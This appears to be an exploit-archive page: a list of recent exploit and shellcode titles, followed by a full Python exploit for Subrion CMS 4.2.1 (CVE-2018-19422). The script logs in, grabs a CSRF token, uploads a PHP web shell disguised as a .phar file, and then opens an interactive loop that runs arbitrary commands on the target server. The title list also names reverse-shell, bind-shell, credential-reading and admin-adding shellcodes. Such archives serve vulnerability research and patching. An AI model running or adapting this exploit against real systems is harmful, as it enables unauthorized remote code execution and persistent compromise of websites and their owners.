
95 changes to exploits/shellcodes Product Key Explorer 4.2.7 - 'multiple' Denial of Service (PoC) Managed Switch Port Mapping Tool 2.85.2 - Denial of Service (PoC) AgataSoft PingMaster Pro 2.1 - Denial of Service (PoC) Nsauditor 3.2.2.0 - 'Event Description' Denial of Service (PoC) WordPress Plugin WPGraphQL 1.3.5 - Denial of Service Sandboxie 5.49.7 - Denial of Service (PoC) WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC) iDailyDiary 4.30 - Denial of Service (PoC) RarmaRadio 2.72.8 - Denial of Service (PoC) DupTerminator 1.4.5639.37199 - Denial of Service (PoC) Color Notes 1.4 - Denial of Service (PoC) Macaron Notes great notebook 5.5 - Denial of Service (PoC) My Notes Safe 5.3 - Denial of Service (PoC) n+otes 1.6.2 - Denial of Service (PoC) Telegram Desktop 2.9.2 - Denial of Service (PoC) Mini-XML 3.2 - Heap Overflow Solaris 10 (Intel) - 'dtprintinfo' Local Privilege Escalation (2) Solaris 10 (Intel) - 'dtprintinfo' Local Privilege Escalation (3) Solaris 10 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1) Solaris 10 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2) MariaDB 10.2 - 'wsrep_provider' OS Command Execution Microsoft Internet Explorer 11 and WPAD service 'Jscript.dll' - Use-After-Free Visual Studio Code 1.47.1 - Denial of Service (PoC) DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE) MySQL User-Defined (Linux) x32 / x86_64 - 'sys_exec' Local Privilege Escalation (2) Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial of Service (PoC) GNU Wget < 1.18 - Arbitrary File Upload (2) WebCTRL OEM 6.5 - 'locale' Reflected Cross-Site Scripting (XSS) E-Learning System 1.0 - Authentication Bypass PEEL Shopping 9.3.0 - 'Comments' Persistent Cross-Site Scripting GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Persistent Cross-Site Scripting Selea Targa 512 IP OCR-ANPR Camera - Stream Disclosure (Unauthenticated) Library System 1.0 - Authentication Bypass Web Based Quiz System 1.0 - 'name' Persistent Cross-Site Scripting Dolibarr ERP 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE) GetSimple CMS My SMTP Contact Plugin 1.1.1 - Cross-Site Request Forgery GravCMS 1.10.7 - Unauthenticated Arbitrary File Write (Metasploit) Umbraco v8.14.1 - 'baseUrl' SSRF Cacti 1.2.12 - 'filter' SQL Injection GetSimple CMS Custom JS 0.1 - Cross-Site Request Forgery Internship Portal Management System 1.0 - Remote Code Execution(Unauthenticated) Markdown Explorer 0.1.1 - Persistent Cross-Site Scripting Xmind 2020 - Persistent Cross-Site Scripting Tagstoo 2.0.1 - Persistent Cross-Site Scripting SnipCommand 0.1.0 - Persistent Cross-Site Scripting Moeditor 0.2.0 - Persistent Cross-Site Scripting Marky 0.0.1 - Persistent Cross-Site Scripting StudyMD 0.3.2 - Persistent Cross-Site Scripting Freeter 1.2.1 - Persistent Cross-Site Scripting Markright 1.0 - Persistent Cross-Site Scripting Markdownify 1.2.0 - Persistent Cross-Site Scripting Anote 1.0 - Persistent Cross-Site Scripting Subrion CMS 4.2.1 - Arbitrary File Upload Printable Staff ID Card Creator System 1.0 - 'email' SQL Injection Schlix CMS 2.2.6-6 - Arbitary File Upload (Authenticated) Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver) CHIYU IoT Devices - Denial of Service (DoS) Zenario CMS 8.8.52729 - 'cID' SQL injection (Authenticated) TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated) WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 - Directory Traversal Atlassian Jira Server Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS) Scratch Desktop 3.17 - Remote Code Execution Church Management System 1.0 - Arbitrary File Upload (Authenticated) Phone Shop Sales Managements System 1.0 - Arbitrary File Upload Zoo Management System 1.0 - 'Multiple' Persistent Cross-Site-Scripting (XSS) WordPress Plugin Current Book 1.0.1 - 'Book Title' Persistent Cross-Site Scripting ForgeRock Access Manager 14.6.3 - Remote Code Execution (RCE) (Unauthenticated) KevinLAB BEMS 1.0 - Authentication Bypass Event Registration System with QR Code 1.0 - Authentication Bypass CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) Panasonic Sanyo CCTV Network Camera 2.03-0x - Cross-Site Request Forgery (Change Password) qdPM 9.2 - Password Exposure (Unauthenticated) ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) Movable Type 7 r.5002 - XMLRPC API OS Command Injection (Metasploit) GeoVision Geowebserver 5.3.3 - Local FIle Inclusion Simple Phone Book 1.0 - 'Username' SQL Injection (Unauthenticated) Umbraco CMS 8.9.1 - Directory Traversal Traffic Offense Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated) Dolibarr ERP 14.0.1 - Privilege Escalation Compro Technology IP Camera - 'killps.cgi' Denial of Service (DoS) Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation Phpwcms 1.9.30 - Arbitrary File Upload Windows/x86 - Download File (http://10.10.10.5:8080/2NWyfQ9T.hta) Via mshta + Execute + Stager Shellcode (143 bytes) Linux/x64 - Bind_tcp (0.0.0.0:4444) + Password (12345678) + Shell (/bin/sh) Shellcode (142 bytes) Linux/x64 - execve _cat /etc/shadow_ Shellcode (66 bytes) Windows/x86 - Add User Alfred to Administrators/Remote Desktop Users Group Shellcode (240 bytes) Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes) Windows/x64 - Dynamic NoNull Add RDP Admin (BOKU:SP3C1ALM0V3) Shellcode (387 Bytes) Linux/x86 - setreuid(0) + execve(_/bin/sh_) Shellcode (29 bytes) Linux/x86 - Bind (User Specified Port) Shell (/bin/sh) Shellcode (102 bytes) Linux/x86 - Reverse (dynamic IP and port/TCP) Shell (/bin/sh) Shellcode (86 bytes) Linux/x86 - Egghunter Reverse TCP Shell dynamic IP and port Shellcode Windows/x86 - WinExec PopCalc PEB & Export Directory Table NullFree Dynamic Shellcode (178 bytes) Windows/x86 - MessageBoxA PEB & Export Address Table NullFree/Dynamic Shellcode (230 bytes)
120 lines
No EOL
5.7 KiB
Python
Executable file
120 lines
No EOL
5.7 KiB
Python
Executable file
# Exploit Title: Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated)
|
|
# Date: 17/05/2021
|
|
# Exploit Author: Fellipe Oliveira
|
|
# Vendor Homepage: https://subrion.org/
|
|
# Software Link: https://github.com/intelliants/subrion
|
|
# Version: SubrionCMS 4.2.1
|
|
# Tested on: Debian9, Debian 10 and Ubuntu 16.04
|
|
# CVE: CVE-2018-19422
|
|
# Exploit Requirements: BeautifulSoup library
|
|
# https://github.com/intelliants/subrion/issues/801
|
|
|
|
#!/usr/bin/python3
|
|
|
|
import requests
|
|
import time
|
|
import optparse
|
|
import random
|
|
import string
|
|
from bs4 import BeautifulSoup
|
|
|
|
parser = optparse.OptionParser()
|
|
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri http://target/panel")
|
|
parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login")
|
|
parser.add_option('-p', '--passw', action="store", dest="passw", help="Password credential to login")
|
|
|
|
options, args = parser.parse_args()
|
|
|
|
if not options.url:
|
|
print('[+] Specify an url target')
|
|
print('[+] Example usage: exploit.py -u http://target-uri/panel')
|
|
print('[+] Example help usage: exploit.py -h')
|
|
exit()
|
|
|
|
url_login = options.url
|
|
url_upload = options.url + 'uploads/read.json'
|
|
url_shell = options.url + 'uploads/'
|
|
username = options.user
|
|
password = options.passw
|
|
|
|
session = requests.Session()
|
|
|
|
def login():
|
|
global csrfToken
|
|
print('[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 \n')
|
|
print('[+] Trying to connect to: ' + url_login)
|
|
try:
|
|
get_token_request = session.get(url_login)
|
|
soup = BeautifulSoup(get_token_request.text, 'html.parser')
|
|
csrfToken = soup.find('input',attrs = {'name':'__st'})['value']
|
|
print('[+] Success!')
|
|
time.sleep(1)
|
|
|
|
if csrfToken:
|
|
print(f"[+] Got CSRF token: {csrfToken}")
|
|
print("[+] Trying to log in...")
|
|
|
|
auth_url = url_login
|
|
auth_cookies = {"loader": "loaded"}
|
|
auth_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.1.20", "Connection": "close", "Referer": "http://192.168.1.20/panel/", "Upgrade-Insecure-Requests": "1"}
|
|
auth_data = {"__st": csrfToken, "username": username, "password": password}
|
|
auth = session.post(auth_url, headers=auth_headers, cookies=auth_cookies, data=auth_data)
|
|
|
|
if len(auth.text) <= 7000:
|
|
print('\n[x] Login failed... Check credentials')
|
|
exit()
|
|
else:
|
|
print('[+] Login Successful!\n')
|
|
else:
|
|
print('[x] Failed to got CSRF token')
|
|
exit()
|
|
|
|
except requests.exceptions.ConnectionError as err:
|
|
print('\n[x] Failed to Connect in: '+url_login+' ')
|
|
print('[x] This host seems to be Down')
|
|
exit()
|
|
|
|
return csrfToken
|
|
|
|
def name_rnd():
|
|
global shell_name
|
|
print('[+] Generating random name for Webshell...')
|
|
shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))
|
|
time.sleep(1)
|
|
print('[+] Generated webshell name: '+shell_name+'\n')
|
|
|
|
return shell_name
|
|
|
|
def shell_upload():
|
|
print('[+] Trying to Upload Webshell..')
|
|
try:
|
|
up_url = url_upload
|
|
up_cookies = {"INTELLI_06c8042c3d": "15ajqmku31n5e893djc8k8g7a0", "loader": "loaded"}
|
|
up_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------6159367931540763043609390275", "Origin": "http://192.168.1.20", "Connection": "close", "Referer": "http://192.168.1.20/panel/uploads/"}
|
|
up_data = "-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n17978446266285\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"__st\"\r\n\r\n"+csrfToken+"\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\""+shell_name+".phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php system($_GET['cmd']); ?>\n\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1621210391\r\n-----------------------------6159367931540763043609390275--\r\n"
|
|
session.post(up_url, headers=up_headers, cookies=up_cookies, data=up_data)
|
|
|
|
except requests.exceptions.HTTPError as conn:
|
|
print('[x] Failed to Upload Webshell in: '+url_upload+' ')
|
|
exit()
|
|
|
|
def code_exec():
|
|
try:
|
|
url_clean = url_shell.replace('/panel', '')
|
|
req = session.get(url_clean + shell_name + '.phar?cmd=id')
|
|
|
|
if req.status_code == 200:
|
|
print('[+] Upload Success... Webshell path: ' + url_shell + shell_name + '.phar \n')
|
|
while True:
|
|
cmd = input('$ ')
|
|
x = session.get(url_clean + shell_name + '.phar?cmd='+cmd+'')
|
|
print(x.text)
|
|
else:
|
|
print('\n[x] Webshell not found... upload seems to have failed')
|
|
except:
|
|
print('\n[x] Failed to execute PHP code...')
|
|
|
|
login()
|
|
name_rnd()
|
|
shell_upload()
|
|
code_exec() |